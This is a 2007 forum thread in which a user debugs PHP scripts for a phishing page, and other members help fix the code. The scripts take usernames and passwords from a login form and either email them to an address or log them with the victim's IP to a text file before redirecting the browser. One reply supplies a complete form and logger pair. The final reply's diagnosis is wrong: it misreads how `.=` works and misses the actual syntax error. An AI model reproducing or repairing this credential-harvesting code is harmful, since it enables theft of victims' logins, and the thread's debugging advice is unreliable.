| View previous topic :: View next topic |
| Author |
Message |
HackOtaku I posted the 500000th topic
Reputation: 81
Joined: 31 May 2007 Posts: 228
|
Posted: Tue Nov 20, 2007 11:34 pm Post subject: Basic PHP for the not so wise? |
|
|
This is for informational use, I am trying to learn what is wrong that it sends me "Username:"
and
"Password:"
without any information. Anyone have a clue?
| Code: |
<?php
$_GET['username'];
$_GET['password'];
$to = '[email protected]';
$subject = 'Information';
$message .= "Username: " . $username . "\n";
$message .= "Password: " . $password . "\n";
$sent = mail($to, $subject, $message);
?>
|
|
|
| Back to top |
|
 |
Dark Byte Site Admin
Reputation: 470
Joined: 09 May 2003 Posts: 25807 Location: The netherlands
|
Posted: Wed Nov 21, 2007 2:27 am Post subject: |
|
|
if you get it from a post method:
$_POST['username'];
_________________
Do not ask me about online cheats. I don't know any and wont help finding them.
Like my help? Join me on Patreon so i can keep helping |
|
| Back to top |
|
 |
appalsap Moderator
Reputation: 0
Joined: 27 Apr 2006 Posts: 6753 Location: Pakistan
|
Posted: Wed Nov 21, 2007 2:38 am Post subject: |
|
|
I hope you know that phishing frameworks are out there so you don't have to reinvent the wheel.
_________________
|
|
| Back to top |
|
 |
HomerSexual Grandmaster Cheater Supreme
Reputation: 5
Joined: 03 Feb 2007 Posts: 1657
|
Posted: Wed Nov 21, 2007 7:52 am Post subject: |
|
|
form.html
<form action="logger.php" method="POST">
Username: <input type="text" name="username">
<br/>
Password: <input type="password" name="password">
<br/>
<input type="submit" value="submit">
logger.php
<?php
$user = $_POST['username'];
$pass = $_POST['password'];
echo $user;
echo "<br />" . $pass;
?>
I'm not in support of the phishing so that's all i will give you. It works.
_________________
|
|
| Back to top |
|
 |
CyClonenl Newbie cheater
Reputation: 0
Joined: 12 Mar 2005 Posts: 24
|
Posted: Wed Nov 21, 2007 11:07 am Post subject: Re: Basic PHP for the not so wise? |
|
|
| HackOtaku wrote: | This is for informational use, I am trying to learn what is wrong that it sends me "Username:"
and
"Password:"
without any information. Anyone have a clue?
| Code: |
<?php
$to = '[email protected]';
$subject = 'Information';
$message .= "Username: " . $_POST['username'] . "\n";
$message .= "Password: " . $_POST['password'] . "\n";
$sent = mail($to, $subject, $message);
?>
|
|
Yeah, passwords and stuff should ALWAYS be send in POST.
The problem is is that $username and $password arent declared, at all.
|
|
| Back to top |
|
 |
HackOtaku I posted the 500000th topic
Reputation: 81
Joined: 31 May 2007 Posts: 228
|
Posted: Wed Nov 21, 2007 1:16 pm Post subject: Re: Basic PHP for the not so wise? |
|
|
| CyClonenl wrote: | | HackOtaku wrote: | This is for informational use, I am trying to learn what is wrong that it sends me "Username:"
and
"Password:"
without any information. Anyone have a clue?
| Code: |
<?php
$to = '[email protected]';
$subject = 'Information';
$message .= "Username: " . $_POST['username'] . "\n";
$message .= "Password: " . $_POST['password'] . "\n";
$sent = mail($to, $subject, $message);
?>
|
|
Yeah, passwords and stuff should ALWAYS be send in POST.
The problem is is that $username and $password arent declared, at all. | Not my only file. Tell me, does this look right?
| Code: |
i<?php
$line =('***********************************************');
$name = $_POST['name'];
$user = $_POST['username'];
$passes = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$d = date('l dS \of F Y h:i:s A');
$headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
$mes .= 'user: '.$user."\n";
$mes .= 'Password: '.$passes."\n";
$mes .= "IP: ".$ip."\n";
$mes .= 'Date & Time: '.$d."\n";
$mes .= ".$line.";
$file = "allorall.txt";
$fh = fopen($file "a");
fwrite ($fh, "$mes\n");
fclose($fh);
echo "<script LANGUAGE=\"JavaScript\">
<!--
window.location=\"index.swf\";
// -->
</script>";
?>
| It should save information onto allorall.txt, however it does not..
|
|
| Back to top |
|
 |
HomerSexual Grandmaster Cheater Supreme
Reputation: 5
Joined: 03 Feb 2007 Posts: 1657
|
Posted: Wed Nov 21, 2007 2:21 pm Post subject: |
|
|
you're redeclaring mes not appending strings onto it
example
$a = "b";
$a = "c";
Does $a = b? No, because i redeclared $a as "c"
_________________
|
|
| Back to top |
|
 |
|